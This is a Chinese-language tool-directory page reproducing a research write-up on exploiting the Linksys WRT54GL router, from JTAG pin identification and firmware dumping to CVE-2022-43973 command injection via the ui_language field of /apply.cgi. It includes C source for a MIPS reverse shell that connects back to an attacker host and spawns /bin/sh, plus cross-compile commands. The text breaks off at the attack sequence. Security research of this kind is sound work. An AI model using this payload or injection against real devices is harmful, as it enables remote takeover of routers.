Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Linksys-WRT54GL-Exploitation — 从焊接到Shell:Linksys WRT54GL路由器的完整硬件利用(CVE-2022-43973) | Kitploit
工具/GitHubGitHub/umbertodellamonica/linksys-wrt54gl-exploitation
嵌入式系统安全物联网安全漏洞分析漏洞利用逆向工程调试器渗透测试硬件安全二进制分析

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
学习与教育
Payload 开发
固件分析
GitHubumbertodellamonica/linksys-wrt54gl-exploitation

Linksys-WRT54GL-Exploitation

从焊接到Shell:Linksys WRT54GL路由器的完整硬件利用(CVE-2022-43973)

查看仓库
22174个月前尚未审核

从焊接到 Shell:Linksys WRT54GL 路由器的完整硬件漏洞利用(CVE-2022-43973)

一段 10 阶段的嵌入式安全研究之旅——从 JTAG 引脚识别到在基于 MIPS 的消费级路由器上实现远程代码执行。

作者Umberto Della Monica
角色网络安全理学硕士生 — 嵌入式安全研究员
日期2026 年 5 月
仓库Linksys-WRT54GL-Exploitation

免责声明: 本研究仅出于教育和研究目的,在本人自有硬件上进行。未访问任何未经授权的系统。本文所述的所有技术只能在您拥有或获得明确书面授权测试的设备上复现。作者对本文信息的任何滥用不承担任何责任。请始终遵守适用的法律、法规和负责任披露准则。


目录

  • 执行摘要
  • 目标设备概述
  • 第 1–2 阶段:硬件侦察与引脚识别
  • 第 3–4 阶段:JTAG 调试与固件提取
  • 第 5–6 阶段:固件分析与仿真
  • 第 7 阶段:漏洞研究 — CVE-2022-43973
  • 第 8 阶段:载荷开发 — MIPS 反向 Shell
  • 第 9 阶段:漏洞利用投递与 Root Shell
  • 第 10 阶段:网络与会话分析
  • 工具与技术
  • 关键要点
  • 参考资料
  • 详细文档
  • 许可证

执行摘要

  • 目标: Linksys WRT54GL v1.1 —— 基于 Broadcom BCM5352 芯片组(MIPS 32 位架构)的广泛部署的消费级路由器
  • 漏洞: CVE-2022-43973 —— 通过 HTTP 管理界面中的命令注入实现远程代码执行
  • 范围: 跨越 10 个阶段的完整硬件到软件漏洞利用链,从物理 JTAG 访问到远程 root shell
  • 结果: 通过自定义 MIPS 反向 Shell 载荷获得完整的远程 root shell
  • 工具: JTAGulator、Attify Badge、OpenOCD、Ghidra、binwalk、FirmAE、带 Broadcom MIPS 交叉编译工具链的 Docker

Linksys WRT54GL v1.1


目标设备概述

Linksys WRT54GL 是有史以来最具标志性的消费级路由器之一。它对开源固件的支持使其深受爱好者和研究人员的青睐。尽管年代久远,它仍在全球范围内广泛使用,使其成为嵌入式安全研究的相关目标。

规格值
芯片组Broadcom BCM5352
CPU 主频200 MHz
架构MIPS 32 位(小端序)
闪存4 MB NOR(内存映射于 0xbfc00000)
内存16 MB
无线IEEE 802.11b/g,54 Mbps
网络4x LAN + 1x WAN,带 SPI 的 NAT 防火墙
操作系统基于 Linux(BusyBox)
引导加载程序CFE(Common Firmware Environment)

内部架构


第 1–2 阶段:硬件侦察与引脚识别

任何硬件安全评估的第一步都是物理检查。打开设备外壳后,我在 PCB 上识别出两个调试接口:

  • 一个用于硬件级调试的 12 引脚 JTAG 接口(未焊接)
  • 一个以 3.3V TTL 电平工作的 10 引脚串行(UART)端口

由于 JTAG 接口未焊接,我焊接了一个临时排针以访问调试接口。使用万用表,我识别了接地和 Vcc 线路,并确认目标设备以 3.3V 逻辑电平工作——这对于避免损坏芯片组至关重要。

使用 JTAGulator 进行 JTAG 引脚识别

为映射 JTAG 信号,我使用了 Grand Idea Studio 的 JTAGulator——一种通过探测所有可能的引脚组合来自动识别调试接口的硬件工具。

JTAGulator 成功识别出以下 JTAG 引脚定义:

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

JTAG 端口特写

JTAGulator 引脚识别

物理连接:Linksys 到 JTAGulator


第 3–4 阶段:JTAG 调试与固件提取

在识别出 JTAG 引脚后,我将一个 Attify Badge——一款采用 FTDI FT2232H 芯片的开源硬件安全评估工具(GNU GPL v3.0)——连接到路由器的 JTAG 接口。

我启动了 OpenOCD(开放片上调试器),并使用为 BCM5352 目标定制的配置,因为官方配置与此特定硬件版本不兼容。

闪存布局

自定义 OpenOCD 配置定义了路由器的闪存分区布局:

分区描述起始地址大小
CFE引导加载程序0xbfc00000256 KB
固件内核 + 根文件系统0xbfc40000~3.7 MB
NVRAM配置0xbfff000064 KB

固件转储

在使 CPU 暂停后,我对内存映射的 NOR 闪存执行了完整的 4 MB 转储:

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Attify Badge

OpenOCD 固件提取


第 5–6 阶段:固件分析与仿真

使用 binwalk 进行静态分析

使用 binwalk,我分析了固件转储文件,以识别嵌入式文件系统、压缩段和内核镜像:

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # entropy analysis
sha256sum ./dumps/wrt54gl.bin     # integrity verification

分析揭示了一个 SquashFS 根文件系统,其中包含基于 BusyBox 的标准 Linux 环境。我使用 binwalk -e 和 unsquashfs 将其提取出来以进行更深入的分析。

使用 FirmAE 进行固件仿真

为了创建安全的测试环境,我使用 FirmAE——一个支持 MIPS 架构的自动化固件仿真框架——搭建了固件仿真环境。这使我能够在虚拟环境中复现路由器的服务(HTTP、telnet),并在不对物理设备造成风险的情况下测试漏洞利用。

binwalk 固件分析

FirmAE 仿真


第 7 阶段:漏洞研究 — CVE-2022-43973

使用带 MIPS 反编译器插件的 Ghidra(NSA 的逆向工程框架),我对提取的固件二进制文件进行了静态分析,以确认 CVE-2022-43973 的存在。

漏洞详情

字段值
CVE IDCVE-2022-43973
类型远程代码执行(RCE)
攻击向量经过身份验证的 HTTP 请求
根本原因通过未净化的 ui_language 参数进行命令注入
端点POST /apply.cgi
触发条件POST /upgrade.cgi(固件升级)
影响完整的 root 级命令执行

该漏洞存在于路由器的 CGI 请求处理器中。/apply.cgi 端点中的 ui_language 表单字段接受任意输入而无需净化。通过注入以 ;cmd; 语法包裹的 shell 命令,攻击者可以暂存命令,这些命令随后会在通过 /upgrade.cgi 触发固件升级时被执行。

受影响的固件版本:

  • v4.30.18(最新)——需要基于会话的身份验证
  • v4.30.16(较旧)——仅使用 HTTP 基本身份验证

在 Ghidra 中确认 CVE-2022-43973


第 8 阶段:载荷开发 — MIPS 反向 Shell

我用 C 语言开发了一个自定义反向 Shell,专为路由器的 MIPS 架构而构建。该载荷建立回连攻击者的 TCP 连接,将所有标准文件描述符重定向到套接字,并生成一个交互式 Shell:

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redirect stdin
dup2(sockt, 1);   // redirect stdout
dup2(sockt, 2);   // redirect stderr

execve("/bin/sh", sh_argv, NULL);

使用 Docker 进行交叉编译

为了将载荷编译为目标架构,我构建了一个可复现的 Docker 环境,其中包含 Broadcom MIPS 交叉编译工具链(hndtools-mipsel-linux-3.2.3),该工具链来自官方 Linksys GPL 版本(WRT54GL-ETSI_v4.30.18.006):

docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

生成的二进制文件采用静态链接以确保可移植性——目标设备上无共享库依赖。

构建漏洞利用


第 9 阶段:漏洞利用投递与 Root Shell

我开发了一个 Python 漏洞利用框架,通过利用 CVE-2022-43973 自动化整个攻击链。该漏洞利用执行一个 4 步序列,每一步都通过 ui_language 参数作为命令注入:

攻击序列

下载工具